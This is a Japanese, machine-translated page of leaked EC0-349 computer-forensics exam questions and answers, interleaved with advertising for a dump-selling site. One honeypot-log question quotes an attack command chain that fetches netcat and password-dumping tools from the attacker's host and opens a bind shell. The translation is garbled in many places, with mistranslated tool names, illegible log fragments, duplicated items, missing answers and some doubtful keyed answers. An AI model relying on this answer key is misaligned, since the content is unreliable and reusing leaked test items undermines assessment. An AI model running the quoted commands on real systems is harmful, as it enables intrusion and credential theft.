あなたは、ボストンの法律事務所に雇われ、会社のクライアントに関する機密情報にアクセスできるかどうかをテストする IT セキュリティ監査人として働いています。あなたは彼らのゴミ箱を漁りましたが、ほとんど情報を見つけられませんでした。あなたは彼らのネットワークで警報を鳴らしたくないので、彼らの Web サーバーに対してパッシブ フットプリントを実行することを計画しています。

どのようなツールを使用すればよいでしょうか？

- A. 掘る
- B. ピングスイープ
- C. Nmap
- D. ネットクラフト

Answer: D ([メッセージを残す](#))

最新問題: 202

次のディレクトリリストでは、

Microsoft Outlook を使用しているユーザーのアーカイブされた電子メール メッセージを復元するには、どのファイルを使用すればよいですか？

- A. Outlook の ost
- B. アウトルック NK2
- C. Outlook バック
- D. Outlook の PST

Answer: ([解答を表示する](#)**)**

最新問題: 203

Office ドキュメント (Word、Excel、PowerPoint) には、ドキュメントを作成したマシンの MAC (一意の識別子) を追跡できるコードが含まれています。そのコードは何と呼ばれますか？

- A. 個々のASCII文字列
- B. パーソナルアプリケーションプロトコル
- C. グローバルに一意なID
- D. Microsoft 仮想マシン識別子

Answer: ([解答を表示する](#)**)**

最新問題: 204

IP 172.16.1.108 で展開されたハニーポットが攻撃者によって侵害されました。以下は、攻撃の Snort バイナリ キャプチャからの抜粋です。ログを調べて、攻撃者が実行したアクティビティを解読してください。

抜粋に明示されている内容のみを推測する必要があることに注意してください。

(注: 学生は、パッシブ OS フィンガープリンティング中に学習した概念、基本的な TCP/IP 接続の概念、およびスニフ ダンプからパケット署名を読み取る能力についてテストされます。)

03/15-20:21:24.107053 211.185.125.124:3500 -> 172.16.1.108:111

TCP TTL:43 TOS:0x0 ID:29726 IpLen:20 DgmLen:52 DF

A シーケンス: 0x9B6338C5 確認: 0x5820ADD0 勝利: 0x7D78 TcpLen: 32

TCP オプション (3) => NOP NOP TS: 23678634 2878772

[illegible]

03/15-20:21:24.452051 211.185.125.124:789 -> 172.16.1.103:111

UDP TTL:43 TOS:0x0 ID:29733 IpLen:20 DgmLen:84

のみ: 64

```
01 0A 8A 0A 00 00 00 00 00 00 02 00 01 86 A0 .....
```

00 00 00 02 00 00 00 03 00 00 00 00 00 00 00 00 ...

```
00 00 00 00 00 00 00 00 00 00 01 86 B8 00 00 00 01 .....
```

00 00 00 11 00 00 00 00

[illegible]

03/15-20:21:24.730436 211.185.125.124:790 -> 172.16.1.103:32773

UDP TTL:43 TOS:0x0 ID:29781 IpLen:20 DgmLen:1104

のみ: 1084

```
47 F7 9F 63 00 00 00 00 00 00 00 02 00 01 86 B8
```

- A. 攻撃者はバッファオーバーフローを利用してシステムをスキャンし、悪用しました。
- B. 攻撃者はポート32773でトロイの木馬を使用しました
- C. 攻撃者はポート111でネットワークスイープを実行しました
- D. 攻撃者がバックドアを設置した

Answer: C (メッセージを残す)

最新問題: 205

スティーブンは勤務先の会社でコンピューターフォレンジックラボを設計する任務を任せられました。彼は、必要な出口の数を除いて、ラボの設計方法に関するあらゆる側面に関するドキュメントを見つけました。スティーブンは、コンピューターフォレンジックラボの設計に出口をいくつ含めるべきでしょうか？

- A. 3つ**
B. 1つ
C. 4つ
D. 2つ

Answer: B ([メッセージを残す](#))

最新問題: 206

ショートカットは、ユーザーによって作成され、アクセスされる拡張子 .lnk を持つファイルです。これらのファイルには、次の情報が記載されています。

- A. アプリケーションログ
- B. 実行中のアプリケーション
- C. システムログ
- D. ファイルまたはネットワーク共有

Answer: D ([メッセージを残す](#))

最新問題: 207

以下は、IIS 6.0 のデフォルト インストールからのログ ファイルのスクリーンショットです。スクリーンショットに示されているように、IIS ではどの時間標準が使用されていますか？

- A. タイ
- B. GMT
- C. UT
- D. UTC

Answer: ([解答を表示する](#))

最新問題: 208

ジェイソンは ACMA メタル社のセキュリティ管理者です。ある日、彼は会社の Oracle データベース サーバーが侵害され、顧客情報と財務データが盗まれたことに気付きました。データベースが競合他社の手に渡れば、経済的損失は数百万ドルに上ります。ジェイソンは、この犯罪をすぐに法執行機関に報告したいと考えています。

米国全土でコンピュータ犯罪の捜査を調整している組織はどれですか？

- A. インターネット詐欺苦情センター
- B. 国家インフラ保護センター
- C. 米国シークレットサービスの地方または全国事務所
- D. CERT コーディネーション センター

Answer: C ([メッセージを残す](#))

最新問題: 209

次のコマンドは Windows のどの機能を利用しようとしているのでしょうか？

- A. 空白
- B. AFS
- C. Slack ファイル
- D. ADS

Answer: D ([メッセージを残す](#))

最新問題: 210

調査員が会社のファイアウォール ログを検索しているときに、65,536 バイトを超える ICMP パケットに気がしました。調査員はどのような種類のアクティビティを確認しているのでしょうか。

- A. スマーフ
- B. 死の音
- C. フラグル
- D. Nmapスキャン

Answer: ([解答を表示する](#))

説明/参照:

最新問題: 211

John は、Firewalk を使用して Cisco PIX ファイアウォールのセキュリティをテストしています。また、ネットワークの奥深くにあるサブネットにあるスニファーマも使用しています。スニファーマ ログ ファイルを分析したところ、Firewalk によって生成されたトラフィックがまったく表示されません。なぜでしょうか。

- A. Firewalk はネットワーク スニファーマでは検出できません
- B. FirewalkはすべてのパケットのTTLを1に設定します
- C. Firewalk は Cisco ファイアウォールを通過できません
- D. FirewalkはすべてのパケットのTTLをゼロに設定します

Answer: B ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！ GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>

(**49030%OFF**問題集溶と正解付きで **30%w**特別割引コード: **Freepdfumps**)

最新問題: 212

これは、Microsoft がフロッピー ディスク用に最初に設計したオリジナルのファイル構造データベースです。ディスクの最も外側のトラックに書き込まれ、ドライブに保存されている各ファイルに関する情報が含まれます。

- A. マスター ブート レコード (MBR)
- B. マスターファイルテーブル (MFT)
- C. ファイルアロケーションテーブル (FAT)
- D. ディスク オペレーティング システム (DOS)

Answer: ([解答を表示する](#))

MBR は通常、フロッピーではなく固定ディスクにあります。MFT は NTFS の一部であり、NTFS はフロッピーでは使用されません。DOS はオペレーティング システムであり、ファイル構造データベースではありません。

最新問題: 213

次のディレクトリリストでは、

Microsoft Outlook を使用しているユーザーのアーカイブされた電子メール メッセージを復元するには、どのファイルを使用すればよいですか？

- A. Outlook バック
- B. アウトルック NK2
- C. Outlook の PST
- D. Outlook の ost

Answer: C ([メッセージを残す](#))

最新問題: 214

次のコマンドのターゲットホスト IP は何ですか？

- A. このコマンドはFINパケットを使用しているため、ターゲットホストをスキャンできません。
- B. Firewalkはターゲットホストをスキャンしません
- C. 10.10.150.1
- D. 172.16.28.95

Answer: D ([メッセージを残す](#))

最新問題: 215

タスク リスト コマンドは、ローカル コンピューターまたはリモート コンピューターで実行されているすべてのタスクのプロセス ID (PID) とともにアプリケーションとサービスのリストを表示します。次のタスク リスト コマンドのうち、イメージ名、PID、名前、プロセス セッション番号など、リストされているプロセスに関する情報を提供するものはどれですか。

- A. タスクリスト/u
- B. タスクリスト/p
- C. タスクリスト/V
- D. タスクリスト

Answer: C ([メッセージを残す](#))

最新問題: 216

パケットが、そのパケットの宛先アドレスがルート テーブルにないルータに送信された場合、そのパケットはどのようにして適切な宛先に届くのでしょうか。パケットが、そのパケットを持たないルータに送信された場合、そのパケットはどのようにして適切な宛先に届くのでしょうか。ルート テーブルに宛先アドレスが含まれていない場合、パケットはどのようにして適切な宛先に到達するのでしょうか。

- A. ボーダーゲートウェイプロトコル

- B. ルートインターネットサーバー
- C. 最後の手段の入り口
- D. 逆DNS

Answer: [\(解答を表示する\)](#)

最新問題: 217

デジタル証拠を保存する際の次の記述のうち、誤っているものはどれですか？

- A. モニター、コンピューター、プリンター、その他の周辺機器で観察したアクションと変更を記録します。
- B. コンピュータの電源状態 (オン、オフ、スリープモード)に応じて電源ケーブルを取り外します。
- C. モニターがオン、オフ、またはスリープモードになっているかどうかを確認します
- D. コンピュータの電源を入れ、Windowsイベントビューアのログファイルを抽出します。

Answer: D ([メッセージを残す](#))

最新問題: 218

ランスは自分のネットワークにハニーポットを設置したいと考えています。次のどれをお勧めしますか？

- A. ネットワーク上で動的アドレス指定を持つシステムを使用する
- B. 返信はすべて偽物なので問題ない
- C. ファイアウォールの前の外部DMZ内のシステムで使用します。
- D. ルータと直接やり取りしないシステムを使用する

Answer: B ([メッセージを残す](#))

最新問題: 219

コンピュータ フォレンジック調査員のダリルは、コンピュータ ハッカーとされる人物の家に到着したところです。ダリルは家の中にあったすべてのコンピュータと周辺機器の写真を撮り、タグを付けます。ダリルはバンに見つけたすべての品物を梱包し、さらに調査するために研究室に持ち帰ります。研究室では、アシスタントのマイケルが調査を手伝います。マイケルはまだ研修中なので、ダリルはマイケルの仕事を注意深く監督します。マイケルは、コンピュータと周辺機器からすべてのデータをコピーする手順がよくわかりません。調査の証拠のコピーを作成するときに、マイケルはいくつのデータ取得ツールを使用すべきでしょうか。

- A. 4つ
- B. 3つ
- C. 2つ
- D. 1つ

Answer: C ([メッセージを残す](#))

最新問題: 220

令状を取得する際には、次の点が重要です。

- A. 一般的に検索する場所を記述し、特に押収する物品を記述する

- B. 検索する場所を具体的に記述し、押収する物品を具体的に記述する
- C. 検索する場所を具体的に記述し、押収する物品の概要を記述する
- D. 一般的に検索する場所と押収する品物を記述する

Answer: B ([メッセージを残す](#))

最新問題: 221

次のコマンドは Windows のどの機能を利用しようとしているのでしょうか？

- A. AFS
- B. 空白
- C. Slack ファイル
- D. 広告

Answer: D ([メッセージを残す](#))

最新問題: 222

次の抜粋は、lab.wiretrip.net でホストされていたハニーポット ログから取られたものです。Snort は、213.116.251.162 からの Unicode 攻撃を報告しました。ファイルパーミッション正規化の脆弱性 (UNICODE 攻撃) により、通常はスクリプトを実行する権限のない任意のフォルダーでスクリプトを実行できるようになります。攻撃者は Unicode 攻撃を試み、最終的に boot.ini を表示することに成功しました。

次に、msadcs.dll を介して RDS の操作に切り替えます。RDS の脆弱性により、悪意のあるユーザーは IIS サーバー上でシェル コマンド (CMD.EXE など) を実行する SQL ステートメントを作成できます。彼は簡単なクエリを実行してディレクトリが存在することを確認し、msadcs.dll へのクエリでディレクトリが正しく機能していることを確認しました。

攻撃者は RDS クエリを実行し、以下に示すようにコマンドを実行します。

```
cmd1.exe /c open 213.116.251.162 >ftpcmd1.exe /c echo johna2k >>ftpcmd1.exe /c echo haxedj00 >>ftpcmd1.exe /c echo get nc.exe >>ftpcmd1.exe /c echo get pdump.exe >>ftpcmd1.exe /c echo get samdump.dll >>ftpcmd1.exe /c echo quit >>ftpcmd1.exe /c ftp -s:ftpcmd1.exe /c nc -l -p 6969 -e cmd1.exe
```

与えられたエクスプロイトから何を推測できますか？

- A. これは、攻撃者がユーザー名johna2kを使用してログインするローカルエクスプロイトです。
- B. システムには johna2k と haxedj00 という 2 人の攻撃者がいます
- C. 攻撃はリモートエクスプロイトであり、ハッカーは3つのファイルをダウンロードします
- D. 攻撃者はハイエンドUDPポートを指定したため、シェルの生成に失敗しました。

Answer: ([解答を表示する](#)**)**

ログには、3つのファイルがダウンロードされるリモート エクスプロイトであることが明確に示されているため、正解はCです。

最新問題: 223

ログ管理には、コンピューターで生成されたログ メッセージの収集、集約、分析に使用されるすべてのプロセスと手法が含まれます。ログ管理は、ログ データの生成、転送、保存、分析、および破棄に使用されるハードウェア、ソフトウェア、ネットワーク、およびメディアで構成されます。

- A. 偽
- B. 真実

Answer: B ([メッセージを残す](#))

最新問題: 224

書き込みブロッカーのないハード ディスクを調べるときは、Windows が次の場所にデータを書き込むため、Windows を起動しないでください。

- A. MSDOS.sys
- B. 事件ファイル
- C. BIOS
- D. ごみ箱

Answer: D ([メッセージを残す](#))

最新問題: 225

警察は、メビン・マシューが多数のコンピュータソフトウェアおよびコンピュータオペレーティングシステム製造業者、携帯電話製造業者、インターネットサービスプロバイダー、教育機関のコンピュータに不正アクセスしていると考えています。また、彼は複数の被害企業の専有コンピュータソフトウェアを盗み、コピーし、不正流用しているとも疑われています。警察が令状を取得していない場合、容疑者のドアを破って自宅を捜索し、コンピュータ機器をすべて押収するのを何が妨げているのでしょうか。

- A. 連邦証拠規則
- B. 米国愛国者法
- C. 憲法修正第4条
- D. 善きサマリア人の法

Answer: C ([メッセージを残す](#))

最新問題: 226

Area density refers to:

- A. the amount of data per disk
- B. the amount of data per partition
- C. the amount of data per square inch
- D. the amount of data per platter

Answer: ([解答を表示する](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w**特別割引コード: **Freepdfdumps**)

最新問題: 227

ポールの会社では、論理的および物理的なセキュリティ テストを含む完全なセキュリティ監査を実施中です。すべての論理テストが実行された後、今度は物理的なテストが開始されます。従業員は誰もこのテストについて知らされていません。セキュリティ監査会社は、電気技師に扮した技術者を派遣します。彼はロビーの外で従業員が仕事を始めるのを待ち、立ち入り禁止区域に入ると彼らの後についていきます。メイン オフィスに入った後、彼はサーバー ルームに入り、IT マネージャーにその部屋のコンセントに問題があると伝えます。技術者はどのような種類の攻撃を実行したのでしょうか。

- A. バックトラッキング
- B. ファジング
- C. マントラップ攻撃
- D. テールゲーティング

Answer: D ([メッセージを残す](#))

最新問題: 228

フロッピー ディスクにはどのようなファイル構造データベースが含まれていると思われますか？

- A. NTFS
- B. FAT32
- C. FAT16
- D. FAT12

Answer: D ([メッセージを残す](#))

説明: NTFS はリムーバブル メディア用に設計されていませんが、非常に大きなリムーバブル メディアで使用され、フロッピー ディスクでは決して使用されません。FAT32 には、フロッピー ディスクよりも大きい最小スペース要件があります。FAT16 は論理的な選択のように見えますが、通常はフロッピーでは使用されません。FAT12 はフロッピー ディスクで使用され、他のものにはおそらく使用されません。フロッピー ディスク メディアのサイズは小さい (2 MB 未満) ため、FAT12 ファイル システムはオーバーヘッドが少なく、より効率的です。

最新問題: 229

法執行官は、犯罪証拠の搜索と押収を以下の条件でのみ行うことができる。

_____, つまり、犯罪が行われたか、または行われようとしていると合理的な人が信じるに足る事実または状況であり、特定の犯罪の証拠が存在し、捜索対象の場所に特定の犯罪の証拠が存在する。

- A. 単なる疑惑
- B. 証拠の優位性
- C. 考えられる原因
- D. 合理的な疑いの余地はない

Answer: C ([メッセージを残す](#))

民事訴訟では証拠の優越が証明要件であり、刑事訴訟では合理的な疑いの余地がないことが証明要件である。

最新問題: 230

POP3 (Post Office Protocol 3) は、ユーザーがメールをダウンロードするとすぐにサーバー上のメールを削除する、メール受信用の標準プロトコルです。メッセージが到着すると、POP3 サーバーはそれを受信者のアカウント ファイルの末尾に追加します。このファイルは、メール クライアントがいつでも取得できます。メール クライアントは、メールを取得するために、デフォルトで _____ で POP3 サーバーに接続します。

- A. ポート 110
- B. ポート 115
- C. ポート 123
- D. ポート 109

Answer: A ([メッセージを残す](#))

最新問題: 231

最近、国務省のサイトが攻撃を受け、すべてのサーバーのディスクが消去されました。インシデント対応チームはそのエリアを封鎖し、調査を開始しました。証拠収集に、標準ラベルが付いていない Zip ディスクを発見しました。インシデント チームは、隔離されたシステムでディスクを実行し、システム ディスクが誤って消去されたことを発見しました。チームは、さらに調査するために FBI を呼ぶことにしました。

一方、彼らは夏季研修生 3 名を含む容疑者候補を絞り込んだ。事件チームはどこで間違えたのだろうか？

- A. 彼ら是指紋データと相関関係を持たずにFBIを呼んだ
- B. 彼らは無関係なシステムに関する実際の証拠を調査した
- C. 彼らは証拠なしに職員を関与させようとした
- D. 彼らはそれを使って証拠を改ざんした

Answer: D ([メッセージを残す](#))

最新問題: 232

特定の電子メール メッセージで行われた犯罪について被害者のコンピューターを検索する場合、どのような情報を回復する必要がありますか？

- A. 電子メールヘッダー
- B. ファイアウォールログ
- C. インターネット サービス プロバイダー情報
- D. ユーザー名とパスワード

Answer: A ([メッセージを残す](#))

最新問題: 233

次の Linux コマンドは何を実行しますか? `dd if=/dev/mem of=/home/sam/mem.bin bs=1024`

- A. メモリダンプファイルをイメージファイルにコピーします
- B. マスターブートレコードをファイルにコピーする
- C. 実行中のメモリをファイルにコピーする
- D. システム フォルダー `em?` の内容をファイルにコピーします。システム フォルダー `em?` の内容をファイルにコピーします。

Answer: C ([メッセージを残す](#))

最新問題: 234

大規模な組織が関与するサイバー犯罪や訴訟の数が急増していることから、コンピュータ フォレンジックの必要性が浮き彫りになっています。コンピュータ フォレンジックは、サイバー犯罪者の追跡において重要な役割を果たします。コンピュータ フォレンジックの主な役割は次のとおりです。

- A. 組織の境界セキュリティを強化する
- B. 法廷で攻撃者の行為を証明するために、事実上の証拠を抽出、処理、解釈する
- C. コストを最大化することで調査の可能性を最大化する
- D. 組織の従業員の監視プロセスを文書化する

Answer: ([解答を表示する](#))

最新問題: 235

あなたはフランス国外の民間企業に勤めるセキュリティ アナリストです。現在の任務は、その企業が所有するスイスの銀行からクレジットカード情報を入手することです。最初の偵察の後、銀行のセキュリティ防御が非常に強固で、侵入に時間がかかりすぎることがわかりました。そこで、銀行とロンドンの子会社間のトラフィックを監視して情報を入手することにしました。トラフィックの一部を監視したところ、多数の FTP パケットが行き来しているのがわかりました。トラフィックをスニффイングしてユーザー名とパスワードを抽出したいと考えています。この情報を入手するには、どのようなツールを使用すればよいでしょうか。

- A. エアスノート
- B. レイドスニフ
- C. 鼻息
- D. エターキャップ

Answer: D ([メッセージを残す](#))

最新問題: 236

Windows レジストリのどの部分にユーザーのパスワード ファイルが含まれていますか？

- A. HKEY_LOCAL_MACHINE
- B. HKEY_CURRENT_CONFIGURATION
- C. HKEY_CURRENT_USER
- D. HKEY_USER

Answer: A ([メッセージを残す](#))

最新問題: 237

調査員が Who is 検索でリストされているドメイン管理者またはコントローラーに電話で連絡し、ユーザー アカウントで送受信されたすべての電子メールを保存するよう要求する場合、この電話呼び出しを許可し、ISP に電子メール記録を保存する義務を課す USC のどの法令ですか？

- A. タイトル 18、セクション 90 章
- B. タイトル 18、セクション 2703(f)
- C. タイトル 18、セクション 2703(d)
- D. タイトル 18、セクション 1030

Answer: B ([メッセージを残す](#))

最新問題: 238

次の Wi-Fi チョーク法のうち、オープン Wi-Fi ネットワークを宣伝するために公共の場所にシンボルを描くことを指すものはどれですか。

- A. ウォーフライング
- B. ウォードヴィング
- C. ウォーウォーキング
- D. ウォーチョーキング

Answer: D ([メッセージを残す](#))

最新問題: 239

データ圧縮では、データをエンコードして、保存スペースと転送帯域幅の使用量を削減します。多くのビジネス アプリケーションでコストを節約し、高度なデータ操作が可能になります。どのデータ圧縮技術がデータの整合性を維持しますか？

- A. 非可逆ビデオ圧縮
- B. ロスレス圧縮
- C. 非可逆圧縮
- D. 音声エンコード圧縮

Answer: B ([メッセージを残す](#))

最新問題: 240

Linux OS 上のセカンダリ IDE コントローラに接続されたスレーブ デバイスは何を指しますか？

- A. hda

- B. 半角英数
- C. ハードディスク
- D. hdb

Answer: C ([メッセージを残す](#))

最新問題: 241

Cylie は、フロリダ州の州機関のネットワーク侵害を調査しています。彼女は、侵入者が IP パケットで会社のファイアウォールを過負荷にすることで、ファイアウォールに侵入できたことを発見しました。その後、調査を通じて、侵入者が会社の電話システムをハッキングし、PBX システムのハードドライブを使用して共有音楽ファイルを保存していたことを発見しました。会社の PBX システムに対するこの攻撃は何と呼ばれますか。

- A. カリカリ
- B. フリーキング
- C. プリテキスティング
- D. しゃがむ

Answer: B ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！ GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(**49030%OFF**問題集溶と正解付きで **30%w**特別割引コード: **Freepdfdumps**)

最新問題: 242

複数のコンピュータ間の侵入とセキュリティ イベントの両方を監視する場合、コンピュータの時計を同期させることが重要です。時刻を同期させることで、管理者は複数のコンピュータに対する攻撃中に何が起こったかを再現できます。

時刻が同期されていないと、特定のイベントがいつ発生したか、またイベントがどのように連動しているかを正確に判断することは非常に困難です。複数のコンピューター間で時刻を同期するために使用されるサービスの名前は何ですか？

- A. SyncTime サービス
- B. ネットワーク タイム プロトコル
- C. 世界時刻設定
- D. 時刻同期プロトコル

Answer: B ([メッセージを残す](#))

最新問題: 243

Windows セキュリティ アカウント マネージャー (SAM) は、パスワードをハッシュ形式で保存するレジストリ ファイルです。

Windows の SAM ファイルは次の場所にあります:

- A. C:\windows\system32\Boot\SAM
- B. C:\windows\system32\drivers\SAM
- C. C:\windows\system32\config\SAM
- D. C:\windows\system32\con\SAM

Answer: C ([メッセージを残す](#))

最新問題: 244

次のどれがサイバー犯罪の例ではありませんか?

- A. コンピュータ記録の操作による詐欺行為
- B. コンピュータセキュリティシステムの故意の回避
- C. 不正行為を理由に従業員を解雇する
- D. ソフトウェアの著作権侵害を含む知的財産の盗難

Answer: ([解答を表示する](#))

最新問題: 245

生データ取得形式は、データ セットまたは疑わしいドライブの _____ を作成します。

- A. セグメント化されたファイル
- B. 圧縮された画像ファイル
- C. 単純なシーケンシャルフラットファイル
- D. セグメント化された画像ファイル

Answer: C ([メッセージを残す](#))

最新問題: 246

ファイル署名分析では、ファイルの _____ から情報を収集して、ファイルの種類と機能を判断します。

- A. 最初の40バイト
- B. 最初の30バイト
- C. 最初の10バイト
- D. 最初の20バイト

Answer: D ([メッセージを残す](#))

最新問題: 247

ジェイソンは ACMA メタル社のセキュリティ管理者です。ある日、彼は会社の Oracle データベース サーバーが侵害され、顧客情報と財務データが盗まれたことに気付きました。データベースが競合他社の手に渡れば、経済的損失は数百万ドルに上ります。

ジェイソンはこの犯罪を直ちに法執行機関に報告したいと考えています。

米国全土でコンピュータ犯罪の捜査を調整している組織はどれですか?

- A. CERT コーディネーション センター
- B. 米国シークレットサービスの地方または全国事務所
- C. 国家インフラ保護センター
- D. インターネット詐欺苦情センター

Answer: ([解答を表示する](#))

最新問題: 248

Windows ベースのサーバーに対する Web 攻撃を調査するタスクが与えられました。
マシンが他のシステムとどのセッションを開いているかを確認するには、次のコマンドのどれを使用しますか？

- A. ネット設定
- B. ネット使用
- C. ネットシェア
- D. ネットセッション

Answer: B ([メッセージを残す](#))

最新問題: 249

TCP/IP プロトコル スタックのどのヘッダー フィールドが、Ping of Death として知られるハッカーの 익스プロイトに関係していますか？

- A. ICMPヘッダーフィールド
- B. TCPヘッダーフィールド
- C. IPヘッダーフィールド
- D. UDPヘッダーフィールド

Answer: ([解答を表示する](#))

説明

最新問題: 250

次の記述のうち、電子犯罪現場チェックリストの確保と評価に含まれないものはどれですか？

- A. 被害者を見つけて助ける
- B. 必要に応じて現場で追加の援助を要請する
- C. 追加のフラッシュメッセージを他の応答ユニットに送信する
- D. インターネットですべての事件についてブログを書く

Answer: ([解答を表示する](#))

最新問題: 251

重要なシステム ファイルの固定長 MD5 アルゴリズム チェックサムの長さは何文字ですか？

- A. 16
- B. 32
- C. 64
- D. 48

Answer: ([解答を表示する](#))

説明/参照:

最新問題: 252

展示ボタンをクリックしてください。Paulette は、現在 ACE Unlimited 社の監査を行っている IT セキュリティ コンサルティング会社で働いています。Paulette の職務には、会社のすべてのネットワーク機器にログオンして、IOS バージョンが最新であり、その他のすべてのセキュリティ設定が可能な限り厳格であることを確認することが含まれます。Paulette は、上司に必要な変更についてクライアントに通知できるように、次のスクリーンショットを上司に提示します。スクリーンショットから、クライアント会社はどのような変更を行う必要がありますか？

- A. バナーには 許可された IT 担当者のみが続行できます」と記載しないでください。
- B. バナーにはシスコのテクニカルサポートの連絡先情報も含める必要があります
- C. バナーにはネットワーク機器のバージョン番号に関する詳細が記載されている必要があります。
- D. 識別番号、名前、バージョン情報を削除します

Answer: D ([メッセージを残す](#))

最新問題: 253

あなたはテキサス州ダラスの小さな銀行のネットワーク管理者です。ネットワーク セキュリティを確保するために、すべてのユーザーに 14 文字のパスワードを要求するセキュリティ ポリシーを制定しました。ユーザーに 2 週間前に通知した後、グループ ポリシーを変更して 14 文字のパスワードを強制しました。1 週間後、スタンドアロン サーバーから SAM データベースをダンプし、パスワード クラッキング ツールを実行しました。1 時間以内に 99% を超えるパスワードが破られました。なぜこれらのパスワードはこんなに早く破られたのでしょうか。

- A. 14文字以下のパスワードは2つの7文字のハッシュに分割されます
- B. クラックされたパスワードはドメイン コントローラ上のローカル アカウントです
- C. Active Directory を使用するネットワークでは SAM データベースは使用されないため、取得した SAM データベースは空でした。
- D. パスワードグループポリシーの変更がネットワーク全体に完全に反映されるまでには少なくとも3週間かかります。

Answer: ([解答を表示する](#))

最新問題: 254

次のログ インジェクション攻撃のうち、空白スペースを使用して異常なログ エントリを作成するものはどれですか。

- A. タイムスタンプインジェクション攻撃
- B. ターミナルインジェクション攻撃
- C. ワードラップ攻撃
- D. HTML インジェクション攻撃

Answer: C ([メッセージを残す](#))

最新問題: 255

調査員がWHOIS検索でリストされているドメイン管理者または管理者に電話で連絡し、ユーザーアカウントで送受信されたすべての電子メールを保存するよう要求した場合、U.S.C 法は、この電話通話を許可し、ISP に電子メール記録を保存する義務を課していますか？

- A. タイトル 18、セクション 2703(d)
- B. タイトル 18、セクション 90 章
- C. タイトル 18、セクション 1030
- D. タイトル 18、セクション 2703(f)

Answer: ([解答を表示する](#))

最新問題: 256

画像ファイル形式のファイル ヘッダーを検索する場合、16 進形式の JPEG ファイルを見つけるには何を検索すればよいですか？

- A. FF D8 FF E0 00 10
- B. EF 00 EF 00 EF 00
- C. FF 00 FF 00 FF 00
- D. FF FF FF FF FF FF

Answer: A ([メッセージを残す](#))

有効な **EC0-349** 問題集は GoShiken.com が提供された合格しやすい EC0-349 試験問題集！
GoShiken.com が最新の **EC0-349** 試験問題集を提供しています。GoShiken.com EC0-349 試験問題は最新で、解答が正確でございます。最新の GoShiken.com EC0-349 問題集をゲットする人はこちら: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html>
(490**30%OFF**問題集溶と正解付きで 30%w特別割引コード: **Freepdfdumps**)

Valid EC0-349 Dumps shared by GoShiken.com for Helping Passing EC0-349 Exam!
GoShiken.com now offer the **newest EC0-349 exam dumps**, the GoShiken.com EC0-349 exam **questions have been updated** and **answers have been corrected** get the **newest** GoShiken.com EC0-349 dumps with Test Engine here: <https://www.goshiken.com/EC-COUNCIL/EC0-349-mondaishu.html> (490 Q&As Dumps, **30%OFF** Special Discount: **Freepdfdumps**)